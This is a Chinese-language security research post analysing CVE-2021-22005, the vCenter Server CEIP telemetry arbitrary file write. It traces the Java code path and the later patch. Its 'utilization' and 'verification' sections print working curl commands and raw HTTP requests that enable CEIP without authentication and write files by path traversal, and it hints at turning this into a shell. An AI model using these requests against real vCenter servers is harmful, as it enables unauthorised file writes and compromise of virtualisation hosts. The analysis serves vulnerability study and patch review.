CVE-2021-22005-CEIP分析
1z520520 漏洞分析 39765浏览 · 2021-11-22 06:51

lz520520@深蓝攻防实验室

2021-09-21补丁修复了如下一系列漏洞,其中CVE-2021-22005评分最高,可getshell,网上也有该漏洞的poc,所以接下来也对该漏洞做进一步分析。

CVE-2021-22005 vCenter Server 任意文件上传(CVSSv3评分9.8)
CVE-2021-21991:vCenter Server 本地提权漏洞(CVSSv3评分8.8)
CVE-2021-22006:vCenter Server 反向代理绕过漏洞(CVSSv3评分8.3)
CVE-2021-22011:vCenter Server未经身份验证的 API 端点漏洞(CVSSv3评分8.1)
CVE-2021-22015:vCenter Server 本地提权漏洞(CVSSv3评分7.8)
CVE-2021-22012:vCenter Server 未经身份验证的 API 信息泄露漏洞(CVSSv3评分7.5)
CVE-2021-22013:vCenter Server 路径遍历漏洞(CVSSv3评分7.5)
CVE-2021-22016:vCenter Server 反射型 XSS 漏洞(CVSSv3评分7.5)
CVE-2021-22017:vCenter Server rhttpproxy 绕过漏洞(CVSSv3评分7.3)
CVE-2021-22014:vCenter Server 身份验证代码执行漏洞(CVSSv3评分7.2)
CVE-2021-22018:vCenter Server 文件删除漏洞(CVSSv3评分6.5)
CVE-2021-21992:vCenter Server XML 解析拒绝服务漏洞(CVSSv3评分6.5)
CVE-2021-22007:vCenter Server 本地信息泄露漏洞(CVSSv3评分5.5)
CVE-2021-22019:vCenter Server 拒绝服务漏洞(CVSSv3评分5.3)
CVE-2021-22009:vCenter Server VAPI 拒绝服务漏洞(CVSSv3评分5.3)
CVE-2021-22010:vCenter Server VPXD 拒绝服务漏洞(CVSSv3评分5.3)
CVE-2021-22008:vCenter Server 信息泄露漏洞(CVSSv3评分5.3)
CVE-2021-22020:vCenter Server Analytics 服务拒绝服务漏洞(CVSSv3评分5.0)
CVE-2021-21993:vCenter Server SSRF 漏洞(CVSSv3评分4.3)

参考

任意文件上传
https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/
https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-20050.py
https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee
https://mp.weixin.qq.com/s/gVsxziLqRQzb7QVOfyuBKw
https://mp.weixin.qq.com/s/Jwp4GWKRO4H_AopqJSrBWw
官方提供的测试脚本,算是一个漏洞扫描+临时补丁
https://kb.vmware.com/sfc/servlet.shepherd/version/download/0685G00000YTpbRQAT
根据提示漏洞接口应该如下

rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test",
                                headers={"Content-Type": "application/json"}, data="lorem ipsum")
/analytics/ph/api/dataapp/agent?_c=test&_i=1
/analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1
/analytics/telemetry/ph/api/hyper/send
/analytics/ph/api/dataapp/agent

vmware公开的poc

curl -X POST "https://localhost/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json"
# 实际接口
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json"
# CEIP是否开启
curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=test"
# 请求
curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/stuff" -H "Content-Type: application/json" -d ""
# 创建一个json文件
/var/log/vmware/analytics/prod/_c_i/stuff.json
# 目录遍历
curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H "Content-Type: application/json" -d "contents here will be directly written to /tmp/foo.json as root"
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP

影响范围

vCenter Server 7.0 < 7.0 U2c
vCenter Server 6.7 < 6.7 U3o
Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
6.7 Windows 不受影响

漏洞分析

TelemetryLevelBasedTelemetryServiceWrapper请求入口

根据poc提示接口/analytics/telemetry/ph/api/hyper/send,找到对应的类

analytics-push-telemetry-server-6.7.0.jar#com.vmware.ph.phservice.push.telemetry.server.AsyncTelemetryController.class

这个类是springboot的controller,找到漏洞URI,可以看到提交的两个参数_c_i对应的是collectorId和collectorInstanceId

继续跟踪到TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry
TelemetryLevelBasedTelemetryServiceWrapper是在AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable类里调用,这个类是Runnable实现类,用于多线程调用,所以通过该类的run方法进一步跟踪到processTelemetry的。
生成一个Telemetrylevel对象,TelemetryLevel是一个枚举类型,这里会判断TelemetryLevel.OFF是否不等,继续看一下OFF是怎么设置的

public enum TelemetryLevel {
    OFF,
    BASIC,
    FULL;
    private TelemetryLevel() {
    }
}


调用堆栈

processTelemetry:44, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

ceip

getTelemetryLevel

getTelemetryLevel:56, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)、


this._telemetryLevelService.getTelemetryLevel定位到如下,可以看到这里会判断ceip(Customer Experience Improvement Program)是否开启
DefaultTelemetryLevelService

其实ceip是客户体验提升计划,不一定开启。点击加入开启后,其实对提交的_C是有要求的

如下_C为111返回还是off,所以参数有要求的

查看漏洞利用目录/var/log/vmware/analytics/prod下有一个json文件

其实是如此拼接成的,所以

_c + vSphere.vapi.6_7 + _i + 9D36C850-1612-4EC4-B8DD-50BA239A25BB.json

再次测试可发现返回FULL了

或者通过该接口请求测试是否正常,这个请求会生成ceip缓存,后续请求就不会再发送ceip到vmware了。

curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7"

这里再继续分析下getTelemetryLevel,他会先判断ceip是否开启,如果没开启,则直接返回OFF,如果为true,则进行判断。
这里有个变量this._collectorToTelemetryLevelCache来存储collectorAgent对象(基于_c_i生成),如果缓存里有了,就不会再次发遥测请求,_collectorToTelemetryLevelCache在这里是SimpleTimeBasedCacheImpl类,内部实际存储collectorAgent是用的hashmap。


这里通过get获取key(即collectorAgent),所以看看hashCode怎么实现的。
其实可以看到和_collectorId_collectorInstanceId都相关。

public int hashCode() {
        int hash = this._collectorId.hashCode();
        if (this._collectorInstanceId != null) {
            hash = hash * 31 + this._collectorInstanceId.hashCode();
        }
        return hash;
    }

做个测试,_c_i,如下就是不同缓存

CollectorAgent c1 = new CollectorAgent("vSphere.vapi.6_7", "c1");
CollectorAgent c2 = new CollectorAgent("vSphere.vapi.6_7", "c2");
this._collectorToTelemetryLevelCache.put(c1, telemetryLevel);
this._collectorToTelemetryLevelCache.get(c2);

getTelemetryLevelFromManifest

getTelemetryLevelFromManifest:82, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
getTelemetryLevel:69, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)


那么再看看DefaultTelemetryLevelService#getTelemetryLevelFromManifest怎么发送遥测请求的,代码如下

manifestContentProvider.getManifestContent请求返回有以下几种情况

  1. collectorId和collectorInstanceId随机,抛出异常,INVALID_COLLECTOR_ERROR,这里提示collectors ID不在白名单内

  1. collectorId为vSphere.vapi.6_7,抛出异常,GENERAL_ERROR,404

  1. 再第一次请求后,如果修改参数_i(collectorInstanceId),后续二次请求都会报这个错


上面请求最终跟踪到如下位置com.vmware.ph.upload.rest.PhRestClientImpl#getManifest,GET请求

手动发送,和之前获取的确实一样。

有效请求

PS: 这里在处理返回数据,会调用json进行反序列化,转换成com.vmware.ph.model.exceptions.ServiceException

DefaultTelemetryLevelService#getTelemetryLevelFromManifest,我们看下抛出异常后再次调用getTelemetryLevelForFailedManifestRetrieval,如果异常是INVALID_COLLECTOR_ERROR,那么直接返回OFF,如果不是就返回FULL,defaultTelemetryLevel初始化的时候为FULL。
所以如果首次请求的collectorId不对,那么即时开了ceip也是无法利用成功,但第二次还是可以成功,所以网上一些分析文章collectorId随机也是可以用的,但如果之前没有发送过遥测请求,就会利用失败,所以建议collectorId还是设置一个有效的。

开启ceip

经过测试,开启CEIP的接口无认证要求,可未授权访问

curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"

PS: 但上面这个测试如果系统启动后没有登录过,请求不会成功
调试发现,虽然接口请求不需要认证,但修改操作仍然需要session,只有在有人登录过,这个未授权请求才能生效。

该请求对应的类在./plugin-packages/telemetry/plugins/h5-ceip.war
com.vmware.vsphere.client.h5.ceip.controller.CeipController

还有其他两个接口

GET /ui/ceip-ui/ctrl/ceip/status
GET /ui/ceip-ui/ctrl/ceip/isAuthorized"

LogTelemetryService

所以看来CEIP没有比较好的方案开启了。

processTelemetry:56, LogTelemetryService (com.vmware.ph.phservice.push.telemetry)
processTelemetry:45, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)


当ceip开启,继续跟踪到com/vmware/ph/phservice/push/telemetry/LogTelemetryService#processTelemetry

日志目录是/var/log/vmware/analytics/prod

日志文件名则是,可以看到

_c%1$s_i%2$s


继续往下就是日志记录,this._logger可以看到日志路径,而serializeToLogMessage(telemetryRequest)就是POST请求的body数据

那么当请求参数_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/foo
则拼接为/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json
但如果_cvSphere.vapi.6_7_i不存在,则会目录遍历失败,这个是linux的问题,所以必须先请求一次_c=vSphere.vapi.6_7&_i=/temp,log4j会创建目录,然后再请求上面URL,实现目录遍历。

PS: prod目录默认也是没有的,vcenter自身正常会创建这个prod目录,但ceip没开启之前,是没有的,所以建议也请求下正常的参数。
创建prod目录

POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 3
{}

创建_cvSphere.vapi.6_7_i目录

POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 3
{}

由于后缀只能是json,所以无法直接写文件,那么可以写到一个可执行文件内容的路径,这个大家就自行发挥想象力找找linux上可执行的方法了。

POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 4
test

整理思路

  1. AsyncTelemetryController是/analytics/telemetry/ph/api/hyper/send请求处理入口,接收_c_i参数
  2. 调用TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry 发起ceip遥测请求,,成功后进一步处理_c_i
  3. processTelemetry里调用this._telemetryLevelService.getTelemetryLevel来判断ceip遥测请求是否正常,这里也会传入_c_i,如果开启成功可获取一个FULL值,除了需要开启ceip,还会对vmware的一个API接口发送请求,,需要注意的一点,如果之前没发起遥测请求,则对_c参数有要求,必须是一个合法的值,如果已经请求过,后续因为有缓存,不会再请求,则可成功通过校验。
  4. 如果ceip未开启,可通过/ui/ceip-ui/ctrl/ceip/status/true开启,但vcenter之前需要有人已经登录过一次,否则会出现接口未认证的报错。
  5. ceip请求成功后,processTelemetry接着调用LogTelemetryService#processTelemetry来解析_c_i,log4j通过_c$s_i$s格式拼接日志路径,_i设置成如/../../../../../../tmp/test即可导致任意路径遍历写入文件,当_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test最终路径拼接如/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json,这里需要注意的是linux上目录遍历时需要遍历前的上级目录存在才可遍历。

验证

返回201表示漏洞存在

POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 11
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
lorem ipsum

利用

第一步判断ceip

# 修改ceip
curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"
# 判断ceip是否启动
curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7"



/var/log/vmware/analytics/prod创建 prod_cvSphere.vapi.6_7_i
_i参数每次都要修改,因为文件如果被删除,就不会再次被创建了

POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=temp HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 3
{}
POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 3
{}


写任意路径文件

POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 4
test

补丁分析

补丁包
VMware-analytics-6.7.0-18408195.x86_64.rpm,解压出来就是各种jar包和其他一些配置文件,对比jar包,定位到如下

对比补丁,补丁在AsyncTelemetryController#handleSendRequest里新增了一个条件判断

判断语句

(IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) && AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId))

IdFormatUtil.class在analytics-6.7.0.jar里
collectorInstanceId正则过滤[\\w-]{1,64} =[A-Za-z0-9_-]{1,64},如9D36C850-1612-4EC4-B8DD-50BA239A25BB,没法使用.和/,所以这个绕不过了
collectorId [a-zA-Z][\w-\.]{1,40}[a-zA-Z0-9], 如vSphere.vapi.6_7,也没法使用/,但没调用。

collectorId是用一个白名单,需要调试才能最终确定白名单内容,但根据上面的正则也能大致猜测,这里的白名单估计和之前ceip 遥测请求的API接口是一样的。
this._collectorIdWhitelist为在控制器初始化的传入

另外除了公开的漏洞利用点之外,AsyncTelemetryController还有两个私有类也有patch,都是Callable的实现类(即多线程),这里会检查collectorId

另一个和之前漏洞点判断是一样的。

那么是否可以找到其他没做过滤的telemetryService.processTelemetry调用点,在这之前其实还需要检查下processTelemetry内部是否还有patch。
这里调用的实现类是TelemetryLevelBasedTelemetryServiceWrapper,另一个相关的是LogTelemetryService
TelemetryLevelBasedTelemetryServiceWrapper在analytics-6.7.0.jar里,但对比了补丁,没发现直接的改动。
但有其他几处DataAppAgentId做了相同的过滤,这就涉及到另一个漏洞点了。
LogTelemetryService在同个包里,也没做修改。

0 条评论
某人
表情
可输入 255